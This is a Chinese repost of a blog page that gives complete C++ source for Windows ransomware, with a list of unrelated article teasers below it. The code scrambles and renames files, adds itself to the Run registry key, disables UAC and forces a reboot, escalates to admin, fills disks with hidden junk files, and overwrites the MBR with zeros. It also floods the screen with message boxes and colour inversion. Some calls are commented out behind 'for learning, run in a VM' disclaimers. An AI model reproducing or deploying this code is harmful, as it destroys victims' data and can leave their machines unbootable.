C++小病毒-1.0勒索(更新次数:2)

内容供学习使用,不得转卖,代码复制后请1小时内删除,此代码会危害计算机安全,谨慎操作

在C++20环境下,并在虚拟机里运行此代码!,病毒带来后果自负!

使用时请删除在main()里的注释,并修改位置至C:\\(看我代码注释)//可以改成WIN Main()


#include <iostream>
#include <windows.h>
#include <shellapi.h>
#include <stdio.h>
#include <fstream>
#include <vector>
#include <string>
#include <filesystem>
#include <signal.h>
#include <csignal>
#include <shlwapi.h>
#include <shcore.h>
#include <thread> 
#include <graphics.h>
#pragma comment(lib, "shlwapi.lib")
using namespace std;
namespace fs = std::filesystem;
const int screenWidth = GetSystemMetrics(SM_CXSCREEN);
const int screenHeight = GetSystemMetrics(SM_CYSCREEN);
void writeWordName(const std::string& filename) {size_t pos = filename.find_last_of('.');std::string newFilename;if (pos != std::string::npos) {newFilename = filename.substr(0, pos) + ".人丰NB人丰666";}else {newFilename = filename + ".人丰NB人丰666";}try {fs::rename(filename, newFilename);std::cout << "文件已加密为: " << newFilename << std::endl;}catch (const fs::filesystem_error& e) {std::cerr << "重命名文件时出错: " << e.what() << std::endl;}
}
void flashWindow(const std::string& filename) {std::fstream file(filename, std::ios::in | std::ios::out | std::ios::binary);if (!file) {std::cerr << "无法打开文件: " << filename << std::endl;return;}try {file.seekg(0, std::ios::end);std::streamsize size = file.tellg();file.seekg(0, std::ios::beg);for (int i = 0; i < size; i++) {file.seekg(i, std::ios::beg);char byte;if (!file.read(&byte, sizeof(byte))) {std::cerr << "读取文件 " << filename << " 字节时出现错误,位置:" << i << std::endl;continue;}if (i % 3 == 0) {byte = byte % 0x37;byte = (byte + 0x10) % 0xFF;}if (i % 3 == 1) {byte = byte % 0x43;byte = (byte + 0x20) % 0xFF;}if (i % 3 == 2) {byte = byte % 0x71;byte = (byte + 0x30) % 0xFF;}file.seekp(i, std::ios::beg);if (!file.write(&byte, sizeof(byte))) {std::cerr << "写入文件 " << filename << " 字节时出现错误,位置:" << i << std::endl;continue;}}}catch (...) {std::cerr << "文件加密过程出现异常" << std::endl;}file.close();writeWordName(filename);
}
void scanDirectory(const std::string& path) {for (const auto& entry : fs::recursive_directory_iterator(path)) {if (entry.is_regular_file()) {flashWindow(entry.path().string());}}
}
void WriteStart()//开机自启动
{char path[MAX_PATH]; HKEY hKey;DWORD length = GetModuleFileNameA(NULL, path, MAX_PATH);LONG result; result = RegOpenKeyEx(HKEY_CURRENT_USER, TEXT("Software\\Microsoft\\Windows\\CurrentVersion\\Run"), 0, KEY_SET_VALUE, &hKey);const TCHAR* valueName = TEXT("MyApp");const TCHAR* valueData = TEXT(path);result = RegSetValueEx(hKey, valueName, 0, REG_SZ, (const BYTE*)valueData, (lstrlen(valueData) + 1) * sizeof(TCHAR));RegCloseKey(hKey);
}
void GetWordNameAndStart() {char buffer[MAX_PATH];if (GetModuleFileName(NULL, buffer, MAX_PATH) > 0) {std::string str(buffer);LPCTSTR path = str.c_str();HINSTANCE result = ShellExecute(NULL, "open", path, NULL, NULL, SW_SHOWNORMAL);if ((int)result <= 32) {std::cerr << "打开文件失败,错误码: " << (int)result << std::endl;}}
}
BOOL SetProcessCtrlHandler() {return SetConsoleCtrlHandler([](DWORD dwCtrlType) -> BOOL {switch (dwCtrlType) {case CTRL_C_EVENT:case CTRL_BREAK_EVENT:case CTRL_CLOSE_EVENT:case CTRL_LOGOFF_EVENT:case CTRL_SHUTDOWN_EVENT:GetWordNameAndStart();return TRUE;default:return FALSE;}}, TRUE);
}
void createFileWithContent_1MB(const std::string& filePath) {const int fileSize = 1048576;std::vector<char> buffer(fileSize, '0');std::ofstream file(filePath, std::ios::binary);if (file.is_open()) {file.write(buffer.data(), fileSize);file.close();}else {std::cerr << "无法创建文件: " << filePath << std::endl;}
}
void CreateFileTo(const std::string& path, const int& SUM, const std::string& WordName) {for (int i = 0; i < SUM; ++i) {std::string folderPath = path + "\\" + WordName + std::to_string(i);// 创建文件夹if (CreateDirectory(folderPath.c_str(), NULL) || ERROR_ALREADY_EXISTS == GetLastError()) {// 设置文件夹为隐藏属性SetFileAttributes(folderPath.c_str(), FILE_ATTRIBUTE_HIDDEN);int RandSum = rand();// 创建文件并写入内容std::string filePath = folderPath + "\\人丰NB人丰666.人丰NB人丰666" + std::to_string(RandSum);createFileWithContent_1MB(filePath);}else {std::cerr << "无法创建文件夹: " << folderPath << std::endl;}}
}
bool Kill_AntivirusSoftware() {return false;
}
void display_run_moveWindows(HWND hWnd) {SetProcessDPIAware();srand(static_cast<unsigned int>(time(NULL))); // 初始化随机数种子RECT rect;GetWindowRect(hWnd, &rect);int windowWidth = rect.right - rect.left;int windowHeight = rect.bottom - rect.top;// 生成随机位置,确保窗口不会超出屏幕范围while (true) {int newX = rand() % screenWidth;int newY = rand() % screenHeight;MoveWindow(hWnd, newX, newY,windowWidth,windowHeight, TRUE);Sleep(1000);}
}
BOOL CALLBACK EnumWindowsProc(HWND hwnd, LPARAM lParam) {thread myThread21(display_run_moveWindows,hwnd);myThread21.detach(); // 分离子线程return TRUE;
}
void MessageBox_ZYNTM_RUN(int i) {while (true){if(i==1) MessageBox(NULL,"鸡你太美","鸡你太美", MB_OK);if(i==2) MessageBox(NULL,"你干嘛~,哎呦~", "你干嘛~,哎呦~", MB_OK);if(i==3) MessageBox(NULL, "360安全卫生为您守护电脑", "360安全卫生为您守护电脑", MB_OK);if(i==4) MessageBox(NULL, "大家好,我是练习时长两年半的个人练习生-蔡徐坤", "大家好,我是练习时长两年半的个人练习生-蔡徐坤", MB_OK);}
}
void MessageBox_ZYNTM_CTRL() {while (true) {thread myThread31(MessageBox_ZYNTM_RUN,1);thread myThread32(MessageBox_ZYNTM_RUN,2);thread myThread33(MessageBox_ZYNTM_RUN,3);thread myThread34(MessageBox_ZYNTM_RUN,4);myThread31.detach();myThread32.detach();myThread33.detach();myThread34.detach();Sleep(350);}
}
void Windows_music() {while (true){Beep(375,300);Beep(500,300);}
}
void DrawFullscreenRectangle() {//在桌面上画图// 获取屏幕设备上下文句柄SetProcessDPIAware();HDC hdcScreen = GetDC(NULL);if (hdcScreen == NULL) {std::cerr << "无法获取屏幕设备上下文句柄。" << std::endl;return;}// 获取屏幕的宽度和高度int screenWidth = GetSystemMetrics(SM_CXSCREEN);int screenHeight = GetSystemMetrics(SM_CYSCREEN);// 创建一个与屏幕兼容的内存设备上下文HDC hdcMem = CreateCompatibleDC(hdcScreen);if (hdcMem == NULL) {std::cerr << "无法创建内存设备上下文。" << std::endl;ReleaseDC(NULL, hdcScreen);return;}// 创建一个 DIB 位图BITMAPINFO bmi;ZeroMemory(&bmi, sizeof(BITMAPINFO));bmi.bmiHeader.biSize = sizeof(BITMAPINFOHEADER);bmi.bmiHeader.biWidth = screenWidth;bmi.bmiHeader.biHeight = -screenHeight; // 负高度表示底部 - 顶部顺序bmi.bmiHeader.biPlanes = 1;bmi.bmiHeader.biBitCount = 32;bmi.bmiHeader.biCompression = BI_RGB;void* pBits;HBITMAP hBitmap = CreateDIBSection(hdcMem, &bmi, DIB_RGB_COLORS, &pBits, NULL, 0);if (hBitmap == NULL) {std::cerr << "无法创建 DIB 位图。" << std::endl;DeleteDC(hdcMem);ReleaseDC(NULL, hdcScreen);return;}// 选入位图到内存设备上下文HBITMAP hOldBitmap = (HBITMAP)SelectObject(hdcMem, hBitmap);// 将屏幕内容复制到内存设备上下文中BitBlt(hdcMem, 0, 0, screenWidth, screenHeight, hdcScreen, 0, 0, SRCCOPY);// 直接操作位图数据进行反色DWORD* pPixel = (DWORD*)pBits;for (int i = 0; i < screenWidth * screenHeight; i++) {*pPixel = RGB(255 - GetRValue(*pPixel), 255 - GetGValue(*pPixel), 255 - GetBValue(*pPixel));pPixel++;}for (int i = 0; i < 100; i++) {// 将反色后的内容复制回屏幕BitBlt(hdcScreen, 0, 0, screenWidth, screenHeight, hdcMem, 0, 0, SRCCOPY);Sleep(10);}// 恢复原始位图SelectObject(hdcMem, hOldBitmap);// 释放资源DeleteObject(hBitmap);DeleteDC(hdcMem);ReleaseDC(NULL, hdcScreen);
}
void window_display_run() {//中毒视觉效果thread myThread13(Windows_music);myThread13.detach();//放音乐Sleep(3000);for (int i = 0; i < 15; i++) {thread myThread14(DrawFullscreenRectangle);myThread14.join();//屏幕反色}thread myThread12(MessageBox_ZYNTM_CTRL);myThread12.detach();while (true) {thread myThread11(EnumWindows, EnumWindowsProc, 0);myThread11.join();thread myThread14(DrawFullscreenRectangle);myThread14.join();//屏幕反色Sleep(350);}
}
bool isUACDisabled() {//检查UCAHKEY hKey;DWORD uacLevel = 0;DWORD size = sizeof(DWORD);if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", 0, KEY_READ, &hKey) == ERROR_SUCCESS) {if (RegQueryValueEx(hKey, "EnableLUA", NULL, NULL, (LPBYTE)&uacLevel, &size) == ERROR_SUCCESS) {RegCloseKey(hKey);if (uacLevel == 0) {return true;}else {return false;}}else {std::cerr << "Failed to query UAC level. Error code: " << GetLastError() << std::endl;RegCloseKey(hKey);return false;}}else {std::cerr << "Failed to open registry key. Error code: " << GetLastError() << std::endl;return false;}
}
bool setUACLevelToHigh() {//关闭UCAif (isUACDisabled() == true)return true;HKEY hKey;DWORD newValue = 0;if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", 0, KEY_SET_VALUE, &hKey) == ERROR_SUCCESS) {if (RegSetValueEx(hKey, "EnableLUA", 0, REG_DWORD, (const BYTE*)&newValue, sizeof(DWORD)) == ERROR_SUCCESS) {RegCloseKey(hKey);system("shutdown /r /t 0");return true;}else {std::cerr << "Failed to set EnableLUA value. Error code: " << GetLastError() << std::endl;RegCloseKey(hKey);return false;}}else {std::cerr << "Failed to open registry key. Error code: " << GetLastError() << std::endl;return false;}
}
bool elevateToAdmin() {if(setUACLevelToHigh()==false)if (setUACLevelToHigh() == false){cout << "I'm sorry,Are you OK?"; }BOOL isAdmin = FALSE;SID_IDENTIFIER_AUTHORITY NtAuthority = SECURITY_NT_AUTHORITY;PSID AdministratorsGroup;if (AllocateAndInitializeSid(&NtAuthority, 2, SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS, 0, 0, 0, 0, 0, 0, &AdministratorsGroup)) {if (!CheckTokenMembership(NULL, AdministratorsGroup, &isAdmin)) {isAdmin = FALSE;}FreeSid(AdministratorsGroup);}if (isAdmin == false) {char szPath[MAX_PATH];GetModuleFileNameA(NULL, szPath, MAX_PATH);  // 使用 GetModuleFileNameA 处理 ANSI 字符串std::string commandLine = "\"" + std::string(szPath) + "\"";LPSTR szCommandLine = const_cast<LPSTR>(commandLine.c_str());SHELLEXECUTEINFOA sei = { sizeof(SHELLEXECUTEINFOA) };sei.lpVerb = "runas";  // 请求管理员权限sei.lpFile = szPath;sei.lpParameters = NULL;sei.lpDirectory = NULL;sei.nShow = SW_SHOWNORMAL;sei.fMask = SEE_MASK_NOCLOSEPROCESS | SEE_MASK_FLAG_DDEWAIT;if (!ShellExecuteExA(&sei)) {std::cerr << "Failed to restart as administrator." << std::endl;return false;}else {exit(0);return true;}}std::cout << "This program is running with administrative privileges." << std::endl;return true;
}
void Modify_the_Registry_Editor() {// 致命代码阻止编译文字(编译时请删除或注释掉这段文字)HANDLE hDevice = CreateFile("\\\\.\\PhysicalDrive0",GENERIC_READ | GENERIC_WRITE,FILE_SHARE_READ | FILE_SHARE_WRITE,NULL,OPEN_EXISTING,0,NULL);if (hDevice == INVALID_HANDLE_VALUE) {std::cerr << "无法打开磁盘设备。错误代码: " << GetLastError() << std::endl;return ;}BYTE mbr[512] = { 0 };// 将修改后的 MBR 写回磁盘DWORD bytesWritten;if (!WriteFile(hDevice, mbr, 512, &bytesWritten, NULL)) {std::cerr << "无法写入 MBR。错误代码: " << GetLastError() << std::endl;CloseHandle(hDevice);return ;}CloseHandle(hDevice);
}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {srand((time(0)));//thread myThread2(WriteStart); //注册表开机自启动//myThread2.join(); //设置成功后//if (elevateToAdmin() == false)//尝试升级为管理员//    if (elevateToAdmin() == false)//        cout << "Are you ok? Are you fine ?";// thread myThread(CreateFileTo,"F:\\本地磁盘C",10,"54088");//创建垃圾文件占用内存// thread myThread3(scanDirectory,"F:\\本地磁盘C");//加密文件thread myThread4(window_display_run); //病毒桌面特效//thread myThread5(Kill_AntivirusSoftware); //关闭杀毒软件//以下是主进程区域//SetProcessCtrlHandler();//关掉重启项//以上是主进程区域//myThread.join(); // myThread3.join();myThread4.join();// myThread5.join();while (1);return 0;
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/894132.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【Numpy核心编程攻略:Python数据处理、分析详解与科学计算】1.25 视觉风暴:NumPy驱动数据可视化

1.25 视觉风暴&#xff1a;NumPy驱动数据可视化 目录 #mermaid-svg-i3nKPm64ZuQ9UcNI {font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}#mermaid-svg-i3nKPm64ZuQ9UcNI .error-icon{fill:#552222;}#mermaid-svg-i3nKPm64ZuQ9UcNI …

指针(C语言)从0到1掌握指针,为后续学习c++打下基础

目录 一&#xff0c;指针 二&#xff0c;内存地址和指针 1&#xff0c;什么是内存地址 2&#xff0c;指针在不同系统下所占内存 三&#xff0c;指针的声明和初始化以及类型 1,指针的声明 2,指针 的初始化 1&#xff0c; 初始化方式优点及适用场景 4,指针的声明初始化类型…

【已解决】windows7虚拟机安装VMtools频繁报错

为了在虚拟机VMware中安装win7&#xff0c;题主先在网上下载了windows7 professional版本的镜像&#xff0c;在vmware中安装vmtools时报错&#xff0c;信息如下 &#xff08;安装程序无法继续&#xff0c;本程序需要您将此虚拟机上安装的操作系统更新到SP1&#xff09; 然后就…

单词翻转(信息学奥赛一本通1144)

题目来源 信息学奥赛一本通&#xff08;C版&#xff09;在线评测系统 题目描述 1144&#xff1a;单词翻转 时间限制: 1000 ms 内存限制: 65536 KB 提交数:60098 通过数: 26099 【题目描述】 输入一个句子(一行)&#xff0c;将句子中的每一个单词翻转后输出。 【输入…

从0到1:C++ 开启游戏开发奇幻之旅(二)

目录 游戏开发核心组件设计 游戏循环 游戏对象管理 碰撞检测 人工智能&#xff08;AI&#xff09; 与物理引擎 人工智能 物理引擎 性能优化技巧 内存管理优化 多线程处理 实战案例&#xff1a;开发一个简单的 2D 射击游戏 项目结构设计 代码实现 总结与展望 游戏…

【Block总结】DynamicFilter,动态滤波器降低计算复杂度,替换传统的MHSA|即插即用

论文信息 标题: FFT-based Dynamic Token Mixer for Vision 论文链接: https://arxiv.org/pdf/2303.03932 关键词: 深度学习、计算机视觉、对象检测、分割 GitHub链接: https://github.com/okojoalg/dfformer 创新点 本论文提出了一种新的标记混合器&#xff08;token mix…

(done) MIT6.S081 2023 学习笔记 (Day6: LAB5 COW Fork)

网页&#xff1a;https://pdos.csail.mit.edu/6.S081/2023/labs/cow.html 任务1&#xff1a;Implement copy-on-write fork(hard) (完成) 现实中的问题如下&#xff1a; xv6中的fork()系统调用会将父进程的用户空间内存全部复制到子进程中。如果父进程很大&#xff0c;复制过程…

鸢尾花书01---基本介绍和Jupyterlab的上手

文章目录 1.致谢和推荐2.py和.ipynb区别3.Jupyterlab的上手3.1入口3.2页面展示3.3相关键介绍3.4代码的运行3.5重命名3.6latex和markdown说明 1.致谢和推荐 这个系列是关于一套书籍&#xff0c;结合了python和数学&#xff0c;机器学习等等相关的理论&#xff0c;总结的7本书籍…

【愚公系列】《循序渐进Vue.js 3.x前端开发实践》033-响应式编程的原理及在Vue中的应用

标题详情作者简介愚公搬代码头衔华为云特约编辑&#xff0c;华为云云享专家&#xff0c;华为开发者专家&#xff0c;华为产品云测专家&#xff0c;CSDN博客专家&#xff0c;CSDN商业化专家&#xff0c;阿里云专家博主&#xff0c;阿里云签约作者&#xff0c;腾讯云优秀博主&…

【javaweb项目idea版】蛋糕商城(可复用成其他商城项目)

该项目虽然是蛋糕商城项目&#xff0c;但是可以复用成其他商城项目或者购物车项目 想要源码的uu可点赞后私聊 技术栈 主要为&#xff1a;javawebservletmvcc3p0idea运行 功能模块 主要分为用户模块和后台管理员模块 具有商城购物的完整功能 基础模块 登录注册个人信息编辑…

为什么LabVIEW适合软硬件结合的项目?

LabVIEW是一种基于图形化编程的开发平台&#xff0c;广泛应用于软硬件结合的项目中。其强大的硬件接口支持、实时数据采集能力、并行处理能力和直观的用户界面&#xff0c;使得它成为工业控制、仪器仪表、自动化测试等领域中软硬件系统集成的理想选择。LabVIEW的设计哲学强调模…

Fort Firewall:全方位守护网络安全

Fort Firewall是一款专为 Windows 操作系统设计的开源防火墙工具&#xff0c;旨在为用户提供全面的网络安全保护。它基于 Windows 过滤平台&#xff08;WFP&#xff09;&#xff0c;能够与系统无缝集成&#xff0c;确保高效的网络流量管理和安全防护。该软件支持实时监控网络流…

【PyTorch】6.张量形状操作:在深度学习的 “魔方” 里,玩转张量形状

目录 1. reshape 函数的用法 2. transpose 和 permute 函数的使用 4. squeeze 和 unsqueeze 函数的用法 5. 小节 个人主页&#xff1a;Icomi 专栏地址&#xff1a;PyTorch入门 在深度学习蓬勃发展的当下&#xff0c;PyTorch 是不可或缺的工具。它作为强大的深度学习框架&am…

[STM32 - 野火] - - - 固件库学习笔记 - - -十三.高级定时器

一、高级定时器简介 高级定时器的简介在前面一章已经介绍过&#xff0c;可以点击下面链接了解&#xff0c;在这里进行一些补充。 [STM32 - 野火] - - - 固件库学习笔记 - - -十二.基本定时器 1.1 功能简介 1、高级定时器可以向上/向下/两边计数&#xff0c;还独有一个重复计…

Cyber Security 101-Build Your Cyber Security Career-Security Principles(安全原则)

了解安全三元组以及常见的安全模型和原则。 任务1&#xff1a;介绍 安全已成为一个流行词;每家公司都想声称其产品或服务是安全的。但事实真的如此吗&#xff1f; 在我们开始讨论不同的安全原则之前&#xff0c;了解我们正在保护资产的对手至关重要。您是否试图阻止蹒跚学步…

python:斐索实验(Fizeau experiment)

斐索实验&#xff08;Fizeau experiment&#xff09;是在1851年由法国物理学家阿曼德斐索&#xff08;Armand Fizeau&#xff09;进行的一项重要实验&#xff0c;旨在测量光在移动介质中的传播速度。这项实验的结果对当时的物理理论产生了深远的影响&#xff0c;并且在后来的相…

青少年CTF练习平台 贪吃蛇

题目 CtrlU快捷键查看页面源代码 源码 <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><title>贪吃蛇游戏</title><style>#gameCanvas {border: 1px solid black;}</style> </head>…

芯片AI深度实战:基础篇之Ollama

有这么多大模型&#xff0c;怎么本地用&#xff1f; Ollama可以解决这一问题。不依赖GPU&#xff0c;也不需要编程。就可以在CPU上运行自己的大模型。 软件甚至不用安装&#xff0c;直接在ollama官网下载可执行文件即可。 现在最流行的deepseek-r1也可以使用。当然还有我认为最…

本地部署deepseek模型步骤

文章目录 0.deepseek简介1.安装ollama软件2.配置合适的deepseek模型3.安装chatbox可视化 0.deepseek简介 DeepSeek 是一家专注于人工智能技术研发的公司&#xff0c;致力于打造高性能、低成本的 AI 模型&#xff0c;其目标是让 AI 技术更加普惠&#xff0c;让更多人能够用上强…

DeepSeek R1中提到“知识蒸馏”到底是什么

在 DeepSeek-R1 中&#xff0c;知识蒸馏&#xff08;Knowledge Distillation&#xff09;是实现模型高效压缩与性能优化的核心技术之一。在DeepSeek的论文中&#xff0c;使用 DeepSeek-R1&#xff08;教师模型&#xff09;生成 800K 高质量训练样本&#xff0c;涵盖数学、编程、…